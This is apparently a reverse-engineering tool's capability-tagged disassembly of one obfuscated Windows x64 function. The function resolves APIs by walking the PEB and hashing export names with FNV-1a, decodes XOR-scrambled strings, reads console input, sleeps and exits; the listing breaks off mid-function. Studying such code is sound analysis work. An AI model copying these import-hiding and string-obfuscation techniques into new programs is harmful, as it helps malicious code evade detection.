Function at 0x1400227a0
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Get kernel32 base address
Get ntdll base address
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1c8]
sub rsp, 0x2a0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1400b20b8]
xor rax, rsp
mov qword [rbp + 0x160], rax
call fcn.14002aed8
call fcn.14002ae80
call fcn.14002aeee
call fcn.14002ae80
call fcn.14002aeac
call fcn.14002ae96
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
lea rcx, [rbp + 0x1c8]
movabs rdx, 0xff00ff00ff00ff00
mov qword [rbp + 0xd0], rdx
mov qword [rbp + 0xd8], rcx
mov rax, qword [rcx]
xor rax, rdx
mov qword [rbp + 0xc8], rax
xor r12d, r12d
mov qword [rcx], r12
movups xmm0, xmmword [str._RWBWE_]
movups xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [0x1400a53b0]
movsd qword [rbp - 0x30], xmm0
movzx eax, word [0x1400a53b8]
mov word [rbp - 0x28], ax
movzx eax, byte [0x1400a53ba]
mov byte [rbp - 0x26], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400228f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400228f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400228f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400228d0
cmp r8d, 0x9a9264ad
je 0x1400228fb
test r9d, r9d
jne 0x1400228b0
mov rax, qword [rax]
jmp 0x140022880
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r12d
mov r14d, 5
lea r15d, [r14 + 0x1a]
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp r13d, 2
jl 0x140022a7b
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a76c0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x3c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140022970
cmp r8d, 0x1b
jge 0x140022ac3
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140022a90
lea rcx, [rbp - 0x40]
call r11
movsd xmm0, qword [str.eVXVYZ_3:]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x1400a6dc8]
movsd qword [rsp + 0x20], xmm0
mov byte [rsp + 0x20], 0x57
xor byte [rsp + 0x21], 0x33
xor byte [rsp + 0x22], 0x34
xor byte [rsp + 0x23], 0x35
xor byte [rsp + 0x24], 0x36
xor byte [rsp + 0x25], 0x37
xor byte [rsp + 0x26], 0x38
xor byte [rsp + 0x27], 0x39
xor al, 0x3a
mov byte [rsp + 0x28], al
lea rdx, [rsp + 0x20]
call fcn.14002a370
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140022ba6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140022ba6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140022ba1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140022b80
cmp r8d, 0x2fa62ca8
je 0x140022bab
test r9d, r9d
jne 0x140022b60
mov rax, qword [rax]
jmp 0x140022b30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
mov eax, dword [str.Q_G5_vs]
mov dword [rsp + 0x20], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140022c66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140022c66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140022c61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140022c40
cmp r8d, 0x491e0a9c
je 0x140022c6b
test r9d, r9d
jne 0x140022c20
mov rax, qword [rax]
jmp 0x140022bf0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r13d, 2
jl 0x140022d19
movdqa xmm3, xmmword [0x1400a76a0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a7810]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a7810]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, r15d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400a76c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222222:65_39_04_q_fi_]
movd xmm0, dword [rsp + 0x20]
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x140022d63
lea r9, [rsp + 0x20]
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140022d30
lea rcx, [rsp + 0x20]
call r11
call fcn.140002d40
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x140]
call fcn.140002830
lea rcx, [rbp + 0x140]
call fcn.140008c20
nop
lea rcx, [0x1400b3090]
call fcn.140038920
movups xmm0, xmmword [0x1400a31f8]
movups xmmword [rsp + 0x20], xmm0
movzx eax, word [0x1400a3208]
mov word [rsp + 0x30], ax
cmp byte [0x1400a3209], 0
je 0x140022f5e
mov ecx, r12d
cmp r13d, 2
jl 0x140022f18
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a76c0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x24]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140022e10
cmp ecx, 0x12
jge 0x140022f5e
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x12
jl 0x140022f30
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
lea rdx, [rbp + 0x140]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14002a590
lea rdx, [rbp + 0x140]
lea rcx, [rbp - 0x40]
call fcn.14002a030
mov rdx, rax
lea rcx, [0x1400b3090]
call fcn.14003a220
lea rcx, [0x1400b3090]
call fcn.140033f30
cmp byte [0x1400b32a0], 0
jne 0x14002302e
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x40]
call fcn.140029d30
movzx edx, byte [rax + 0xa]
test dl, dl
je 0x140023000
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor dl, 0x3c
mov byte [rax + 0xa], dl
mov rdx, rax
mov rcx, rbx
call fcn.14002a370
mov rcx, rax
lea rdx, [0x1400b32a8]
call fcn.14002a7a0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140008c40
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140009600
movups xmm0, xmmword [0x1400a7608]
movups xmmword [rsp + 0x20], xmm0
movzx eax, byte [0x1400a7618]
mov byte [rsp + 0x30], al
mov ecx, r12d
cmp r13d, 2
jl 0x1400231a9
movdqa xmm5, xmmword [0x1400a76a0]
movdqa xmm4, xmmword [0x1400a7810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a76c0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.22222222222222222:65_39_04_q_fi_]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x24]
mov r8d, dword [rsp + 0x50]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x1400230a1
cmp ecx, 0x11
jge 0x1400231ee
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x11
jl 0x1400231c0
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a370
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140023286
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140023286
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023281
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023260
cmp r8d, 0x2fa62ca8
je 0x14002328b
test r9d, r9d
jne 0x140023240
mov rax, qword [rax]
jmp 0x140023210
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
mov eax, dword [str.Q_G5_vs]
mov dword [rsp + 0x20], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140023346
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140023346
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023341
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023320
cmp r8d, 0x491e0a9c
je 0x14002334b
test r9d, r9d
jne 0x140023300
mov rax, qword [rax]
jmp 0x1400232d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r13d, 2
jl 0x1400233f9
movdqa xmm3, xmmword [0x1400a76a0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a7810]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a7810]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, r15d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400a76c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222222:65_39_04_q_fi_]
movd xmm0, dword [rsp + 0x20]
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x140023443
lea r9, [rsp + 0x20]
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140023410
lea rcx, [rsp + 0x20]
call r11
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
nop word [rax + rax]
call fcn.140003aa0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x1400234f6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x1400234f6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r14 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400234f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400234d0
cmp r8d, 0x2fa62ca8
je 0x1400234fb
test r9d, r9d
jne 0x1400234b0
mov rax, qword [rax]
jmp 0x140023480
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
mov eax, dword [str.Q_G5_vs]
mov dword [rsp + 0x20], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x1400235b6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x1400235b6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r14 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400235b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023590
cmp r8d, 0x491e0a9c
je 0x1400235bb
test r9d, r9d
jne 0x140023570
mov rax, qword [rax]
jmp 0x140023540
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r13d, 2
jl 0x140023673
movdqa xmm3, xmmword [0x1400a76a0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a7810]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a7810]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
mov eax, 5
movd xmm0, eax
psrad xmm2, xmm0
mov eax, Ordinal_33
movd xmm0, eax
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400a76c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222222:65_39_04_q_fi_]
movd xmm0, dword [rsp + 0x20]
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x1400236b3
lea r9, [rsp + 0x20]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140023680
lea rcx, [rsp + 0x20]
call r11
call fcn.140003ca0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140023756
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140023756
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023751
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023730
cmp r8d, 0x2fa62ca8
je 0x14002375b
test r9d, r9d
jne 0x140023710
mov rax, qword [rax]
jmp 0x1400236e0
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
mov eax, dword [str.Q_G5_vs]
mov dword [rsp + 0x20], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140023816
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140023816
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023811
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400237f0
cmp r8d, 0x491e0a9c
je 0x14002381b
test r9d, r9d
jne 0x1400237d0
mov rax, qword [rax]
jmp 0x1400237a0
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r13d, 2
jl 0x1400238d3
movdqa xmm3, xmmword [0x1400a76a0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a7810]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a7810]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
mov eax, 5
movd xmm0, eax
psrad xmm2, xmm0
mov eax, Ordinal_33
movd xmm0, eax
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400a76c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a76e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.22222222222222222:65_39_04_q_fi_]
movd xmm0, dword [rsp + 0x20]
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x140023913
lea r9, [rsp + 0x20]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400238e0
lea rcx, [rsp + 0x20]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x1400239a6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x1400239a6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
